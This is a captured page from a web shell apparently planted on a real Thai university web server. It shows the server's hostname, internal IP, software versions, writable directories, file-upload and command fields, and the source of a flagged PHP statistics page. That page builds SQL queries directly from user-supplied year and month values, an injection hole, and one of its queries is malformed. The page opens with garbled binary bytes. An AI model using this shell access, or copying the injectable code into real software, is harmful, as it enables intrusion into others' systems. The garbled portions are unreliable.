h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/StatMonth.php.suspected
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="images/logotab.ico"></head>

        <link href="structer.css" rel="stylesheet" type="text/css">

<title>กระดานข่าว</title>

<style type="text/css">
<!--
.style1 {color: #0000FF}
-->
</style>
</head>
<style type="text/css">
.news_content
{
	width:750px;
	float:right;
}

.news_menu
{
	width:200px;
	float:left;
	height:500px;
}

.sidebar_menu {
	list-style: none;
	margin: 0 0 30px;
	padding: 0;
}
.sidebar_menu li {
	margin: 0;
	padding: 2px 0 3px 16px;
	background: url(./images/templatemo_list_01.png) no-repeat scroll 0 8px;
	border-bottom: 1px dotted #ccc
}

.sidebar_menu li a {
	font-size: 14px;
}

#sidebar h3 {
	font-size: 16px;
	padding: 0 0 15px 0;
	margin: 0 0 15px 0;
	background: url(./images/sidebar_header_bg.png)  left bottom no-repeat
}


h1 {
	margin: 0 0 5px 0;
	padding: 10px 0 10px 10px;
	font-size: 24px;
	font-weight: normal;
	color: #ffffff;
	background: #26405b;
}

h2 {
	margin: 0 0 10px 0;
	padding: 5px 0 5px 10px;
	font-size: 16px;
}


h4 {
	margin: 0;
	padding: 3px 0 3px 10px;
	font-size: 18px;
	font-weight: bold;
	color: #03F;
	background: #EEE;
}


 .section_02_box {
	 
	float: left;
	width: 350px;
	border: 1px solid #CCCCCC;
	margin: 0 20px 0 0px;
}

.section_02_box .section_02_box_content{
	float: left;
	padding: 15px;
}

.section_02_box_content .section_02_box_content_title {
	font-weight: bold;
}

.section_02_box_content ul{
	clear: both;
	list-style: none;
	margin: 0;
	padding: 0;
}

.section_02_box_content ul li{
	padding: 0 0 5px 15px;
	margin: 0;	
	background: url(images/templatemo_listicon.gif) top left no-repeat;
}

.section_02_box img {
	float: left;
	margin: 3px 15px 0 0;
}
.cleaner_with_height {
	clear: both;
	width: 100%;
	height: 20px;
}

</style>


</style>
  <body>
	<!--start logo -->
	<div id="logo">
           		 <?  include "logo.php";?>
    </div>
    <!--end logo -->


  
	<!-- start nav -->
	<nav>
    	<div id="nav">
        	<div id="content-nav">
           		 <?  include "navigator.php";?>
            </div>
        </div>
       
    </nav>

    
    
	<!-- start article -->
    <article>
    
    	<div id="content"> 	<!-- start content -->
        
        	<div class="content-title">
            ฐานข้อมูลออนไลน์แยกตามสาขา  <img src="images/dot21.jpg" width="12px;"> 
            <div class="content-line"></div>
            </div>

			<div class="content-text">
            	 <div class="news_menu">     
                    <ul class="sidebar_menu">
					<li><a  href='StatMonth.php' >สถิติรายเดือน</a></li>
					<li><a  href='StatYear.php' >สถิติรายปี</a></li>
           			</ul>	
           		</div>	
                
                
            	<div class="news_content">
				<p align="center">
<form action="StatMonth.php" method="post" name="regis">

		  
<? 
if (isset($_POST[year]))
{
$yearselected=$_POST[year];
$monthselected=$_POST[month];
//echo "--$yearselected  --$monthselected";
}
else
{
include "connect.php";
$sql="select * from stat_detail order by year,montdetail order by year,month desc limit 0,1";
$query=mysql_query($sql);
$result=mysql_fetch_array($query);
$yearselected=$result[year];
$monthselected=$result[month];
//echo "--$yearselected  --$monthselected";
}

include "connect.php";
echo "&nbsp;&nbsp;&nbsp;&nbsp;เดือน <select name='month'>";
$sql="select * from month order by id_month asc";
$query=mysql_query($sql);
$row=mysql_num_rows($query);
$i=0;
while($i<$row)
{
$result=mysql_fetch_array($query);
$id_month=$result[id_month];
$name_month=$result[name_month];
if ($monthselected ==$id_month)
echo "<option value ='$id_month' selected>&nbsp;&nbsp;$name_month&nbsp;&nbsp;</option>";
else
echo "<option value ='$id_month'>&nbsp;&nbsp;$name_month&nbsp;&nbsp;</option>";
$i++;
}
echo "</select>";

echo "&nbsp;&nbsp;&nbsp;&nbsp;ปี <select name='year'>";
$sql="select * from year order by year desc";
$query=mysql_query($sql);
$row=mysql_num_rows($query);
$i=0;
while($i<$row)
{
$result=mysql_fetch_array($query);
$year=$result[year];
$yearthai=$year+543;
if ($yearselected==$year)
echo "<option value ='$year' selected>&nbsp;&nbsp;$yearthai&nbsp;&nbsp;</option>";
else
echo "<option value ='$year'>&nbsp;&nbsp;$yearthai&nbsp;&nbsp;</option>";

$i++;
}

echo "</select>";



echo "&nbsp;&nbsp;&nbsp;&nbsp;<input type='submit' value ='ดูรายการสถิติ'>";


?>
</form>
</p>
<br />
<br />
  <TABLE 
  style="BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; BORDER-TOP: medium none; BORDER-RIGHT: medium none" 
  border=0 cellSpacing=0 borderColor=#35a0ff cellPadding=0 width=515>
    <TBODY>
    <TR>
      <TD>
        <TABLE border=0 cellSpacing=0 cellPadding=2 width="100%">
          <TBODY>
		            <TR bgcolor="#6666FF">
		    <TD width=500 height="30" style="font-size:16px; color:#FFFFFF; width:500px; height:30px; ">
              &nbsp;&nbsp;รายการ
                    <!-- icon_profile -->
                  </TD>
            <TD  width="100" vAlign="center" style="font-size:16px; color:#FFFFFF; width:100px; text-align:right;">
                   จำนวน
</TD>
            <TD width="78" vAlign="top">&nbsp;
              </TD>
          </TR>
		  <tr bgcolor="#FFFFFF"><td colspan="2"></tr>

	<?
	$sql="SELECT * FROM stat_detail  a join stat_list  b on(a.id_list=b.id_list)  join month  d on (a.month=d.id_month) where a.year=$yearselected and a.month=$monthselected ";
	$query=mysql_query($sql);
	$row=mysql_num_rows($query);
	$i=0;
	while ($i<$row)
	{
	$result=mysql_fetch_array($query);
	$id_detail=$result[id_detail];
	$amount=$result[amount];
	$name_list=$result[name_list];
	$noun=$result[noun]; 
	$year=$result[year];
	$id_month=$result[id_month];
	?>
          <TR>
		 
            <TD Height="20" bgColor=#eeeeee vAlign=top align="left"><p align="left" style="width:500px; font-size:14px;"><img src="images/templatemo_title.png" width="13" height="13" /> <? echo"$name_list";?></p></TD>
          <TD bgColor=#eeeeee vAlign=top align="right"><p align="right" style="width:100px; font-size:14px;"><? echo number_format($amount);?></p></TD>
		  <td bgColor=#eeeeee vAlign=top align="center"><p align="left" style="width:78px; font-size:12px;"><? echo"($noun)";?></p></td></TR>
		  <tr bgcolor="#FFFFFF"><td colspan="2"></tr>
	<? 
	
	$i++;
	}
	
	?>
	
	</TBODY></TABLE></TD></TR></TBODY></TABLE>
	
                <div class="cleaner_with_height">&nbsp;</div>              
               
                </div>
               
                       
                             
                
         </div> <!-- end content-text -->

       
       
       </div>     	<!-- end content -->
  
    </article>




<footer>
<? include "footer.php";?>
</footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit